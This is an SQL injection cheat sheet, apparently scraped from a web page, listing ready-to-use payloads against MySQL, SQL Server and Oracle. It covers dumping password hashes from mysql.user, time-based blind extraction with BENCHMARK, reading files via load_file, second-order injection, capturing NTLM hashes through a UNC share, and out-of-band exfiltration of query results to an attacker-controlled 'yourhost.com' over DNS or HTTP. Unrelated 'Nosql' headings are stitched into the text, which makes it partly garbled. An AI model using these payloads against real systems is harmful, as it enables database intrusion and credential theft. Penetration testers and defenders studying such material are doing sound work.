Extra MySQL Notes

  • Sub Queries are working only MySQL 4.1+
  • Users
    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
  • SELECT ... INTO DUMPFILE
    • Write query into a new file (can not modify existing files)
  • UDF Function
    • create function LockWorkStation returns integer soname 'user32';
    • select LockWorkStation();
    • create function ExitProcess returns integer soname 'kernel32';
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash
    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File
    • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data infile
    • By default it's not available !
      • create table foo( line blob );
        load data infile 'c:/boot.ini' into table foo;
        select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( 'test' ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like '[email protected]%', benchmark(100000,sha1('test')), 'false' );
    Enumeration data, Guessed Brute Force
    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions

Nosql Injection Cheat Sheet Example

  • MD5()
    MD5 Hashing
  • SHA1()
    SHA1 Hashing
  • PASSWORD()
  • ENCODE()
  • COMPRESS()
    Compress data, can be great in large binary reading in Blind SQL Injections.
  • ROW_COUNT()
  • SCHEMA()
  • VERSION()
    Same as @@version

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.

Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : [email protected]

If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

What Is Nosql

Bulk insert from a UNC Share (S)
bulk insert foo from 'YOURIPADDRESSC$x.txt'

Check out Bulk Insert Reference to understand how can you use bulk insert.

Nosql Injection Cheat Sheet Printable

Out of Band Channel Attacks

SQL Server

  • ?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
    Makes DNS resolution request to {INJECT}.yourhost.com
  • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '+({INJECTION})+'.yourhost.comtest.txt'; EXEC master..xp_dirtree @q
    Makes DNS resolution request to {INJECTION}.yourhost.com
    {INJECTION} = You want to run the query.

MySQL

  • ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(',({INJECTION}), 'yourhost.com')))
    Makes a NBNS query request/DNS resolution request to yourhost.com

  • ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE 'yourhost.comshareoutput.txt')
    Writes data to your shared folder/file

    {INJECTION} = You want to run the query.

Oracle

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff=' ({INJECTION}) ') FROM DUAL)
    Sniffer application will save results

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ ' ({INJECTION}) '.html') FROM DUAL)
    Results will be saved in HTTP access logs

  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION}) '.yourhost.com') FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION}) '.yourhost.com',80) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

    {INJECTION} = You want to run the query.

Vulnerability Classification and Severity Table

ClassificationID / Severity
PCI v3.16.5.1
PCI v3.26.5.1
OWASP 2013A1
CWE89
CAPEC66
WASC19
HIPAA164.306(a), 164.308(a)
CVSS 3.0 Score
Base 10 (Critical)
Temporal 10 (Critical)
Environmental 10 (Critical)
CVSS Vector String
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H